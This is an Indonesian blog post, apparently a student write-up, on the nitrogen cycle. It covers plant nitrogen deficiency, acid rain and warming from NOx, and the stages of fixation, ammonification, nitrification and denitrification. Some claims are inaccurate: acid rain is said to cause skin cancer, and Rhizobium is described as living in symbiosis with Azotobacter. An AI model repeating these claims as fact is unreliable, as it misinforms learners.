Dalam siklus nitrogen, masalah yang terjadi dapat terkait dengan tanaman karena ini merupakan salah satu unsur hara yang sangat penting dan diperlukan dalam jumlah besar (makronutrien). Tanaman menyarap unsur ini dalam bentuk ion nitrat (NO3-) dan ion ammonium (NH4+). Unsur ini secara langsung berperan dalam pembentukan protein, memacu pertumbuhan  tanaman secara umum terutama pada fase vegetatif, berperan dalam pembentukan klorifil, asam amino, lemak enzim dan persenyawaan lain.
Gejala kekurangan unsur N adalah pertumbuhan tanaman lambat dan kerdil, mula-mula daun menguning  dan mengering  lalu daun akan rontok dimana daun yang menguning diawali dari daun bagian bawah, lalu disusul daun bagian atas. Di dalam tubuh tanaman nitrogen bersifat dinamis sehingga jika terjadi kekurangan nitrogen pada bagian pucuk, nitrogen yang tersimpan pada daun tua akan dipindahkan ke organ yang lebih muda, dengan demikian pada daun-daun yang lebih tua  gejala kekurangan nitrogen akan terlihat lebih awal.
Masalah akibat gangguan dalam siklus N, dapat juga berupa hujan asam dan global warming. Hujan asam adalah suatu bentuk akibat pencemaran udara di mana hujan, salju, maupun kabut yang terjadi mengandung asam akibat terkontaminasi oleh polutan NOx. Keadaan ini dapat merusak tanaman, mencemari sungai dan danau, serta memungkinkan terjadinya kanker kulit jika manusia terpapar langsung. Sementara, pada masalah global warming, bagian dari siklus nitrogen yang dapat menjadi penyebab pemanasan global adalah gas NOx.Akibat lebih lanjut dari pemanasan global sudah dijelaskan pada bagian masalah siklus hidrologi.
Nitrogen pada umumnya terdapat dalam senyawa organik seperti protein, urea dan asam nukleat atau yang sudah dikenal dengan senyawa anorganik seperti nitrit, ammonia dan nitrat. Dalam proses terjadinya Daur Biogeokimia pada Daur Nitrogen terjadi dalam dua tahap yakni:
1.      Tahap pertama
daur nitrogen.jpg
Daur nitrogen merupakan proses transfer nitrogen dari atmosfir ke dalam tanah. Disamping air hujan, masuknya nitrogen ke dalam tanah juga dapat melalui proses fiksasi nitrogen. Proses fiksasi nitrogen sendiri secara biologis bisa dilakukan oleh bakteri Rhizobium yang bersimbiosis dengan bakteri Azotobacter, Clostridium dan polong-polongan. Selain itu, kemampuan memfiksasi nitrogen juga dapat dilakukan oleh ganggang hijau.
2.      Tahap kedua
Nitrat yang diperoleh dari hasil fiksasi biologis akan digunakan oleh produsen atau tumbuhan yang nandi diubah menjadi molekul protein. Selanjutnya jika hewan atau tumbuhan mati, maka makhluk pengurai akan merombaknya menjadi (NH3) atau yang dikenal dengan gas amoneak dan garam ammonium yang larut dalam air (NH4+). Proses ini dinamakan dengan proses amonifikasi. Bakteri Nitrosomonas dapat mengubah senyawa ammonium dan amoneak menjadi Nitrat oleh Nitrobacter. Jika oksigen dalam tanah terbasa, maka nitrat akan dengan cepat ditransformasikan menjadi oksida nitrogen atau gas nitrogen oleh proses yang dinamakan denitrifikasi.

C.    KESIMPULAN
Siklus biogeokimia adalah aliran ion ataupun molekul dari nutrien yang dipindahkan dari lingkungan ke organisme (komponen hidup) dan dikembalikan lagi ke komponen tak hidup (abiotik). Siklus biogeokimia yang terpenting adalah siklus karbon dan oksigen, siklus nitrogen, dan siklus fosfor.
Keseimbangan siklus ini perlu dijaga. Jika aktivitas manusia tidak memperhatikan lingkungan, keseimbangan unsur dalam siklus akan terganggu sehingga proporsi komponen yang seharusnya menjadi bergeser. Akibat ketidakseimbangan tersebut, terjadi berbagai masalah yang dampaknya tidak hanya berpengaruh terhadap manusia, tetapi juga terhadap lingkungan hidup. Oleh karena itu pemahaman mengenai keseimbangan siklus biogeokimia diperlukan untuk membuat suatu rancangan manajemen lingkungan yang baik, termasuk lingkungan industri.






Copyright 2014 uldatun qonita . Diberdayakan oleh Blogger.

Popular Posts

Pages

Mengenai Saya

Foto Saya
Indonesia
BERBAGI KESEDERHANAAN Silakan meninggalkan jejak sobat, kritik dan saran anda sangat saya harapkan NB : No Sara !
Flag Counter

Gadget

Google +

Postingan Populer

Postingan Populer